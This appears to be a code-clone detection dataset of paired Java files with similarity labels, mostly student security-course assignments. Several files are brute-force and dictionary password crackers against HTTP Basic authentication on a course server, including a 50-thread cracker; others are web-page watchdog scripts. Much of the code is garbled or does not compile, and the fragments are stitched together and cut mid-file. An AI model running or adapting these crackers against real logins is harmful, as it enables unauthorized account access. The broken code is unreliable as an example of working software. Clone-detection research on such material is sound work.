for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
for(j='A'; j<='Z'; j++){
for(k='a'; k<='z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
for(j='a'; j<='z'; j++){
for(k='A'; k<='Z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='a'; i<='z'; i++){
for(j='A'; j<='Z'; j++){
for(k='A'; k<='Z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
for(j='A'; j<='z'; j++){
if((j=='[') || (j=='\\') || (j==']') || (j=='^') || (j=='_') || (j=='`')){
continue;
}
char[] pw = {i, j};
bf.checkPassword(pw);
}
}
for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
char[] pw = {i};
bf.checkPassword(pw);
}
}
}
|
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class WatchdogPropertyHelper {
private static Properties testProps;
public WatchdogPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the watchddog Props");
e.printStackTrace();
}
return testProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(testProps == null){
testProps = new Properties();
InputStream fis =
WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties");
testProps.load(fis);
}
}
}
|
176.java | 107.java | 0 |
public class ImageFile
{
private String imageUrl;
private int imageSize;
public ImageFile(String url, int size)
{
imageUrl=url;
imageSize=size;
}
public String getImageUrl()
{
return imageUrl;
}
public int getImageSize()
{
return imageSize;
}
}
|
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class WatchdogPropertyHelper {
private static Properties testProps;
public WatchdogPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the watchddog Props");
e.printStackTrace();
}
return testProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(testProps == null){
testProps = new Properties();
InputStream fis =
WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties");
testProps.load(fis);
}
}
}
|
105.java | 107.java | 0 |
import java.io.*;
import java.net.*;
import java.misc.BASE64Encoder;
public class Dictionary
{
public Dictionary()
{}
public boolean fetchURL(String urlString,String username,String password)
{
StringWriter sw= new StringWriter();
PrintWriter pw = new PrintWriter();
try{
URL url=new URL(urlString);
String userPwd= username+":"+password;
BASE64Encoder encoder = new BASE64Encoder();
String encodedStr = encoder.encode (userPwd.getBytes());
System.out.println("Original String = " + userPwd);
System.out.println("Encoded String = " + encodedStr);
HttpURLConnection huc=(HttpURLConnection) url.openConnection();
huc.setRequestProperty( "Authorization"," "+encodedStr);
InputStream content = (InputStream)huc.getInputStream();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) != null) {
pw.println (line);
System.out.println("");
System.out.println(sw.toString());
}return true;
} catch (MalformedURLException e) {
pw.println ("Invalid URL");
return false;
} catch (IOException e) {
pw.println ("Error URL");
return false;
}
}
public void getPassword()
{
String dictionary="words";
String urlString="http://sec-crack.cs.rmit.edu./SEC/2/";
String login="";
String pwd=" ";
try
{
BufferedReader inputStream=new BufferedReader(new FileReader(dictionary));
startTime=System.currentTimeMillis();
while (pwd!=null)
{
pwd=inputStream.readLine();
if(this.fetchURL(urlString,login,pwd))
{
finishTime=System.currentTimeMillis();
System.out.println("Finally I gotta it, password is : "+pwd);
System.out.println("The time for cracking password is: "+(finishTime-startTime) + " milliseconds");
System.exit(1);
}
}
inputStream.close();
}
catch(FileNotFoundException e)
{
System.out.println("Dictionary not found.");
}
catch(IOException e)
{
System.out.println("Error dictionary");
}
}
public static void main(String[] arguments)
{
BruteForce bf=new BruteForce();
bf.getPassword();
}
} |
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class WatchdogPropertyHelper {
private static Properties testProps;
public WatchdogPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the watchddog Props");
e.printStackTrace();
}
return testProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(testProps == null){
testProps = new Properties();
InputStream fis =
WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties");
testProps.load(fis);
}
}
}
|
136.java | 107.java | 0 |
import java.util.*;
import java.io.*;
import java.net.*;
public class MyWatchDogTimer extends TimerTask
{
public void run()
{
Runtime rt = Runtime.getRuntime();
Process prss= null;
String initialmd5,presentmd5,finalmd5,temp1;
String mesg1 = new String();
String subject = new String("Report of WatchDog");
int i;
try
{
prss = rt.exec("md5sum first.html");
InputStreamReader instre1 = new InputStreamReader(prss.getInputStream());
BufferedReader bufread1 = new BufferedReader(instre1);
sw = bufread1.readLine();
i = finalmd5.indexOf(' ');
initialmd5 = finalmd5.substring(0,i);
System.out.println("this is of first.html--->"+initialmd5);
prss = rt.exec("wget -R mpg,mpeg, --output-document=present.html http://www.cs.rmit.edu./students/");
prss = rt.exec("md5sum present.html");
InputStreamReader instre2 = new InputStreamReader(prss.getInputStream());
BufferedReader bufread2 = new BufferedReader(instre2);
temp1 = bufread2.readLine();
i = temp1.indexOf(' ');
presentmd5 = temp1.substring(0,i);
System.out.println("this is of present.html---->"+presentmd5);
if(initialmd5.equals(presentmd5))
System.out.println("The checksum found using md5sum is same");
else
{
prss = rt.exec("diff first.html present.html > diff.html");
System.out.println(" is different");
prss = null;
mesg1 ="php mail.php";
prss = rt.exec(mesg1);
}
prss = rt.exec("rm present.*");
}catch(java.io.IOException e){}
}
}
|
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class WatchdogPropertyHelper {
private static Properties testProps;
public WatchdogPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the watchddog Props");
e.printStackTrace();
}
return testProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(testProps == null){
testProps = new Properties();
InputStream fis =
WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties");
testProps.load(fis);
}
}
}
|
051.java | 107.java | 0 | import java.io.*;
import java.net.*;
import java.*;
import java.Runtime.*;
import java.Object.*;
import java.util.*;
import java.util.StringTokenizer;
public class Dictionary
{
String uname = "";
String pword = "null";
Vector v = new Vector();
int runTime;
public void doConnect(String connect, int num)
{
String = connect;
try
{
URL secureSite = new URL();
URLConnection connection = secureSite.openConnection();
if (uname != null || pword != null)
{
for(int i=num; i<v.size(); i++)
{
pword = (String)v.elementAt(i);
String up = uname + ":" + pword;
String encoding;
try
{
connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder) Class.forName(".misc.BASE64Encoder").newInstance();
encoding = encoder.encode (up.getBytes());
}
catch (Exception ex)
{
Base64Converter encoder = new Base64Converter();
System.out.println("in catch");
encoding = encoder.encode(up.getBytes());
}
connection.setRequestProperty ("Authorization", " " + encoding);
connection.connect();
if(connection instanceof HttpURLConnection)
{
HttpURLConnection httpCon=(HttpURLConnection)connection;
if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)
{
System.out.println("Not authorized - check for details" + " -Incorrect Password : " + pword);
doConnect(i, i+1);
}
else
{
System.out.println("\n\n\nPassword for HTTP Secure Site by Dictionary Attack:");
System.out.println( +"\tPassword : "+ pword);
runTime = System.currentTimeMillis() - runTime;
System.out.println("Time taken crack password (in seconds)"+" : "+ runTime/1000+"\n"+ "Tries taken crack password : "+ i);
System.exit(0);
}
}
}
}
}
catch(Exception ex)
{
ex.printStackTrace();
}
}
public Vector getPassword()
{
try
{
ReadFile rf = new ReadFile();
rf.loadFile();
v = rf.getVector();
}
catch(Exception ex)
{
ex.printStackTrace();
}
return v;
}
public void setTimeTaken( int timetaken)
{
runTime = timetaken;
}
public static void main ( String args[] ) throws IOException
{
runTime1 = System.currentTimeMillis();
Dictionary newDo = new Dictionary();
newDo.setTimeTaken(runTime1);
newDo. getPassword();
String site = "http://sec-crack.cs.rmit.edu./SEC/2/";
newDo.doConnect(site, 0);
}
}
class Base64Converter
{
public final char [ ] alphabet = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' };
public String encode ( String s )
{
return encode ( s.getBytes ( ) );
}
public String encode ( byte [ ] octetString )
{
int bits24;
int bits6;
char [ ] out
= new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
int outIndex = 0;
int i = 0;
while ( ( i + 3 ) <= octetString.length ) {
bits24=( octetString [ i++ ] & 0xFF ) << 16;
bits24 |=( octetString [ i++ ] & 0xFF ) << 8;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0000003F );
out [ outIndex++ ] = alphabet [ bits6 ];
}
if ( octetString.length - i == 2 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
}
else if ( octetString.length - i == 1 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
out [ outIndex++ ] = '=';
}
return new String ( out );
}
}
|
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class WatchdogPropertyHelper {
private static Properties testProps;
public WatchdogPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the watchddog Props");
e.printStackTrace();
}
return testProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(testProps == null){
testProps = new Properties();
InputStream fis =
WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties");
testProps.load(fis);
}
}
}
|
062.java | 107.java | 0 |
import java.util.*;
import java.*;
import java.awt.*;
import java.net.*;
import java.io.*;
import java.text.*;
public class BruteForce {
public static String Base64Encode(String s) {
byte[] bb = s.getBytes();
byte[] b = bb;
char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
'0','1','2','3','4','5','6','7','8','9','+','/' };
if (bb.length % 3!=0) {
int x1 = bb.length;
b = new byte[(x1/3+1)*3];
int x2 = b.length;
for(int i=0;i<x1;i++)
b[i] = bb[i];
for(int i=x1;i<x2;i++)
b[i] = 0;
}
char[] c = new char[b.length/3*4];
int i=0, j=0;
while (i+3<=b.length) {
c[j] = table[(b[i] >> 2)];
c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)];
c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)];
c[j+3] = table[(b[i+2] & 63)];
i+=3;
j+=4;
}
j = c.length-1;
while (c[j]=='A') {
c[j]='=';
j--;
}
return String.valueOf(c);
}
public synchronized void getAccumulatedLocalAttempt() {
attempt = 0;
for (int i=0;i<MAXTHREAD;i++) {
attempt += threads[i].getLocalAttempt();
}
}
public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
System.out.println();
System.out.println(" ------------------------ [ CURRENT STATISTICS ] ---------------------------");
System.out.println();
System.out.println(" Current connections : "+curconn);
System.out.println(" Current progress : "+attempt+ " of "+ALLCOMBI+" ("+currprogress+"%)");
System.out.println(" Overall Attempts rate : "+ovrl+" attempts second (approx.)");
System.out.println();
System.out.println(" ---------------------------------------------------------------------------");
System.out.println();
}
public class MyTT extends TimerTask {
public synchronized void run() {
if (count==REPORT_INTERVAL) {
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
getAccumulatedLocalAttempt();
double p = (double)attempt/(double)ALLCOMBI*100;
double aps = (double) (attempt - attm) / REPORT_INTERVAL;
attmArr[attmArrIdx++] = aps;
printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);
count = 0;
} else
if (count==0) {
getAccumulatedLocalAttempt();
attm = attempt;
count++;
} else {
count++;
}
}
public synchronized double getOverallAttemptPerSec() {
double val = 0;
for (int i=0;i<attmArrIdx;i++) {
val+= attmArr[i];
}
return val / attmArrIdx;
}
private int count = 0;
private int attm;
private int attmArrIdx = 0;
private double[] attmArr = new double[2*60*60/10];
}
public synchronized void interruptAll(int ID) {
for (int i=0;i<MAXTHREAD;i++) {
if ((threads[i].isAlive()) && (i!=ID)) {
threads[i].interrupt();
}
notifyAll();
}
}
public synchronized void setSuccess(int ID, String p) {
passw = p;
success = ID;
notifyAll();
interruptAll(ID);
end = System.currentTimeMillis();
}
public synchronized boolean isSuccess() {
return (success>=0);
}
public synchronized void waitUntilAllTerminated() {
while (curconn>0) {
try {
wait();
} catch (InterruptedException e) {}
}
}
public synchronized int waitUntilOK2Connect() {
boolean interruptd= false;
int idx = -1;
while (curconn>=MAXCONN) {
try {
wait();
} catch (InterruptedException e) { interruptd = true; }
}
if (!interruptd) {
curconn++;
for (idx=0;idx<MAXCONN;idx++)
if (!connused[idx]) {
connused[idx] = true;
break;
}
notifyAll();
}
return idx;
}
public synchronized void decreaseConn(int idx) {
curconn--;
connused[idx] = false;
notifyAll();
}
public class ThCrack extends Thread {
public ThCrack(int threadID, int startidx, int endidx) {
super(" Thread #"+String.valueOf(threadID)+": ");
this.ID = threadID;
this.startidx = startidx;
this.endidx = endidx;
setDaemon(true);
}
public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException {
int i ;
String msg;
URL tryURL = new URL(THEURL);
connections[connID]=(HttpURLConnection) tryURL.openConnection();
connections[connID].setRequestProperty("Authorization"," "+Base64Encode(USERNAME+":"+thePass));
i = connections[connID].getResponseCode();
msg = connections[connID].getResponseMessage();
connections[connID].disconnect();
if (i==HttpURLConnection.HTTP_OK) {
System.out.println(ID+"Trying '"+thePass+"' GOTCHA !!! (= "+String.valueOf()+"-"+msg+").");
setSuccess(this.ID,thePass);
return (true);
} else {
System.out.println(ID+"Trying '"+thePass+"' FAILED (= "+String.valueOf()+"-"+msg+").");
return (false);
}
}
public void rest(int msec) {
try { sleep(msec); } catch (InterruptedException e) {}
}
public String constructPassword( int idx) {
int i = idxLimit.length-2;
boolean processed = false;
String result = "";
while (i>=0) {
if (idx>=idxLimit[i]) {
int nchar = i + 1;
idx-=idxLimit[i];
for (int j=0;j<nchar;j++) {
x = (idx % NCHAR);
result = charset.charAt((int) x) + result;
idx /= NCHAR;
}
break;
}
i--;
}
return result;
}
public String getStartStr() {
return constructPassword(this.startidx);
}
public String getEndStr() {
return constructPassword(this.endidx);
}
public void run() {
i = startidx;
boolean keeprunning = true;
while ((!isSuccess()) && (i<=endidx) && (keeprunning)) {
int idx = waitUntilOK2Connect();
if (idx==-1) {
break;
}
try {
launchRequest(getName(), idx, constructPassword(i));
decreaseConn(idx);
localattempt++;
rest(MAXCONN);
i++;
} catch (InterruptedException e) {
keeprunning = false;
break;
} catch (IOException e) {
decreaseConn(idx);
}
}
if (success==this.ID) {
waitUntilAllTerminated();
}
}
public int getLocalAttempt() {
return localattempt;
}
private int startidx,endidx;
private int ID;
private int localattempt = 0;
}
public void printProgramHeader(String mode,int nThread) {
System.out.println();
System.out.println(" ********************* [ BRUTE-FORCE CRACKING SYSTEM ] *********************");
System.out.println();
System.out.println(" URL : "+THEURL);
System.out.println(" Crack Mode : "+mode);
System.out.println(" Characters : "+charset);
System.out.println(" . Char : "+MINCHAR);
System.out.println(" . Char : "+MAXCHAR);
System.out.println(" # of Thread : "+nThread);
System.out.println(" Connections : "+MAXCONN);
System.out.println(" All Combi. : "+ALLCOMBI);
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
}
public void startNaiveCracking() {
MAXTHREAD = 1;
MAXCONN = 1;
startDistCracking();
}
public void startDistCracking() {
int startidx,endidx;
int thcount;
if (isenhanced) {
printProgramHeader("ENHANCED BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD);
} else {
printProgramHeader("NAIVE BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD);
}
i = System.currentTimeMillis();
idxstart = idxLimit[MINCHAR-1];
if (MAXTHREAD>ALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); }
mult = (ALLCOMBI - idxstart) / MAXTHREAD;
for (thcount=0;thcount<MAXTHREAD-1;thcount++) {
startidx = thcount*mult + idxstart;
endidx = (thcount+1)*mult-1 + idxstart;
threads[thcount] = new ThCrack(thcount, startidx, endidx);
System.out.println(threads[thcount].getName()+" try crack from '"+threads[thcount].getStartStr()+"' '"+threads[thcount].getEndStr()+"'");
}
startidx = (MAXTHREAD-1)*mult + idxstart;
endidx = ALLCOMBI-1;
threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx);
System.out.println(threads[MAXTHREAD-1].getName()+" try crack from '"+threads[MAXTHREAD-1].getStartStr()+"' '"+threads[MAXTHREAD-1].getEndStr()+"'");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
for (int i=0;i<MAXTHREAD;i++)
threads[i].print();
}
public BruteForce() {
if (isenhanced) {
startDistCracking();
} else {
startNaiveCracking();
}
reportTimer = new java.util.Timer();
MyTT tt = new MyTT();
reportTimer.schedule(tt,1000,1000);
while ((success==-1) && (attempt<ALLCOMBI)) {
try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) { }
}
if (success==-1) {
end = System.currentTimeMillis();
}
getAccumulatedLocalAttempt();
double ovAps = tt.getOverallAttemptPerSec();
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern("0.00");
reportTimer.cancel();
try { Thread.sleep(1000); } catch (InterruptedException e) { }
synchronized (this) {
if (success>=0) {
System.out.println();
System.out.println(" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************");
System.out.println();
System.out.println(" The password is : "+passw);
System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations");
System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%");
System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec");
System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds");
System.out.println(" Worstcase time estd : "+fmt.format(1/ovAps*ALLCOMBI)+ " seconds");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
} else {
System.out.println();
System.out.println(" ********************* [ UNABLE CRACK THE URL !!! ] *********************");
System.out.println();
System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations");
System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%");
System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec");
System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds");
System.out.println();
System.out.println(" ***************************************************************************");
System.out.println();
}
}
}
public static void printSyntax() {
System.out.println();
System.out.println("Syntax : BruteForce [mode] [URL] [charset] [] [] [username]");
System.out.println();
System.out.println(" mode : (opt) 0 - NAIVE Brute force mode");
System.out.println(" (trying from the first the last combinations)");
System.out.println(" 1 - ENHANCED Brute force mode");
System.out.println(" (dividing cracking jobs multiple threads) (default)");
System.out.println(" URL : (opt) the URL crack ");
System.out.println(" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)");
System.out.println(" charset : (optional) the character set used crack.");
System.out.println(" - (default)");
System.out.println(" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
System.out.println(" -alphanum ");
System.out.println(" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890");
System.out.println(" -alphalow ");
System.out.println(" abcdefghijklmnopqrstuvwxyz");
System.out.println(" -alphaup ");
System.out.println(" ABCDEFGHIJKLMNOPQRSTUVWXYZ");
System.out.println(" -number ");
System.out.println(" 1234567890");
System.out.println(" [custom] e.g. aAbB123");
System.out.println(" , : (optional) range of characters applied in the cracking");
System.out.println(" where 1 <= <= 10 (default = 1)");
System.out.println(" <= <= 10 (default = 3)");
System.out.println(" username : (optional) the username that is used crack");
System.out.println();
System.out.println(" NOTE: The optional parameters 'charset','','', and 'username'");
System.out.println(" have specified altogether none at all.");
System.out.println(" For example, if [charset] is specified, then [], [], and");
System.out.println(" [username] have specified as well. If none of them specified,");
System.out.println(" default values used.");
System.out.println();
System.out.println(" Example of invocation :");
System.out.println(" java BruteForce ");
System.out.println(" java BruteForce 0");
System.out.println(" java BruteForce 1 http://localhost/tryme.php");
System.out.println(" java BruteForce 0 http://localhost/tryme.php - 1 3 ");
System.out.println(" java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 ");
System.out.println();
System.out.println();
}
public static void countIdxLimit() {
idxLimit = new int[MAXCHAR+1];
NCHAR = charset.length();
ALLCOMBI = 0;
for (int i=0;i<=MAXCHAR;i++) {
if (i==0) {
idxLimit[i] = 0;
} else {
idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i);
}
}
ALLCOMBI = idxLimit[idxLimit.length-1];
}
public static void paramCheck(String[] args) {
int argc = args.length;
try {
switch (Integer.valueOf(args[0]).intValue()) {
case 0: {
isenhanced = false;
} break;
case 1: {
isenhanced = true;
} break;
default:
System.out.println("Syntax error : invalid mode '"+args[0]+"'");
printSyntax();
System.exit(1);
}
} catch (NumberFormatException e) {
System.out.println("Syntax error : invalid number '"+args[0]+"'");
printSyntax();
System.exit(1);
}
if (argc>1) {
try {
URL u = new URL(args[1]);
try {
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
switch (conn.getResponseCode()) {
case HttpURLConnection.HTTP_ACCEPTED:
case HttpURLConnection.HTTP_OK:
case HttpURLConnection.HTTP_NOT_AUTHORITATIVE:
case HttpURLConnection.HTTP_FORBIDDEN:
case HttpURLConnection.HTTP_UNAUTHORIZED:
break;
default:
System.out.println("Unable open connection the URL '"+args[1]+"'");
System.exit(1);
}
} catch (IOException e) {
System.out.println(e);
System.exit(1);
}
THEURL = args[1];
} catch (MalformedURLException e) {
System.out.println("Invalid URL '"+args[1]+"'");
printSyntax();
System.exit(1);
}
}
if (argc==6) {
try {
MINCHAR = Integer.valueOf(args[3]).intValue();
} catch (NumberFormatException e) {
System.out.println("Invalid range number value '"+args[3]+"'");
printSyntax();
System.exit(1);
}
try {
MAXCHAR = Integer.valueOf(args[4]).intValue();
} catch (NumberFormatException e) {
System.out.println("Invalid range number value '"+args[4]+"'");
printSyntax();
System.exit(1);
}
if ((MINCHAR<1) || (MINCHAR>10)) {
System.out.println("Invalid range number value '"+args[3]+"' (must between 0 and 10)");
printSyntax();
System.exit(1);
} else
if (MINCHAR>MAXCHAR) {
System.out.println("Invalid range number value '"+args[3]+"' (must lower than the value)");
printSyntax();
System.exit(1);
}
if (MAXCHAR>10) {
System.out.println("Invalid range number value '"+args[4]+"' (must between value and 10)");
printSyntax();
System.exit(1);
}
if (args[2].toLowerCase().equals("-")) {
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
} else
if (args[2].toLowerCase().equals("-alphanum")) {
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
} else
if (args[2].toLowerCase().equals("-alphalow")) {
charset = "abcdefghijklmnopqrstuvwxyz";
} else
if (args[2].toLowerCase().equals("-alphaup")) {
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
} else
if (args[2].toLowerCase().equals("-number")) {
charset = "1234567890";
} else {
charset = args[2];
}
USERNAME = args[5];
} else
if ((argc>2) && (argc<6)) {
System.out.println("Please specify the [charset], [], [], and [username] altogether none at all");
printSyntax();
System.exit(1);
} else
if ((argc>2) && (argc>6)) {
System.out.println("The number of parameters expected is not more than 6. ");
System.out.println(" have specified more than 6 parameters.");
printSyntax();
System.exit(1);
}
}
public static void main (String[] args) {
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
MINCHAR = 1;
MAXCHAR = 3;
if (args.length==0) {
args = new String[6];
args[0] = String.valueOf(1);
args[1] = THEURL;
args[2] = "-";
args[3] = String.valueOf(MINCHAR);
args[4] = String.valueOf(MAXCHAR);
args[5] = USERNAME;
}
paramCheck(args);
countIdxLimit();
Application = new BruteForce();
}
public static BruteForce Application;
public static String THEURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
public static boolean isenhanced;
public static String passw = "";
public static final int REPORT_INTERVAL = 10;
public static int MAXTHREAD = 50;
public static int MAXCONN = 50;
public static int curconn = 0;
public static int success = -1;
public static String USERNAME = "";
public static int MINCHAR;
public static int MAXCHAR;
public static int ALLCOMBI;
public static int start ,end;
public static java.util.Timer reportTimer;
public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN];
public static boolean connused[] = new boolean[MAXCONN];
public ThCrack[] threads = new ThCrack[MAXTHREAD];
public static int attempt = 0;
public static int idxLimit;
public static String charset;
public static int NCHAR;
}
|
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class WatchdogPropertyHelper {
private static Properties testProps;
public WatchdogPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the watchddog Props");
e.printStackTrace();
}
return testProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(testProps == null){
testProps = new Properties();
InputStream fis =
WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties");
testProps.load(fis);
}
}
}
|
182.java | 195.java | 0 | import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
for(;;)
{
String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};
String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"};
String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"};
String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"};
String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"};
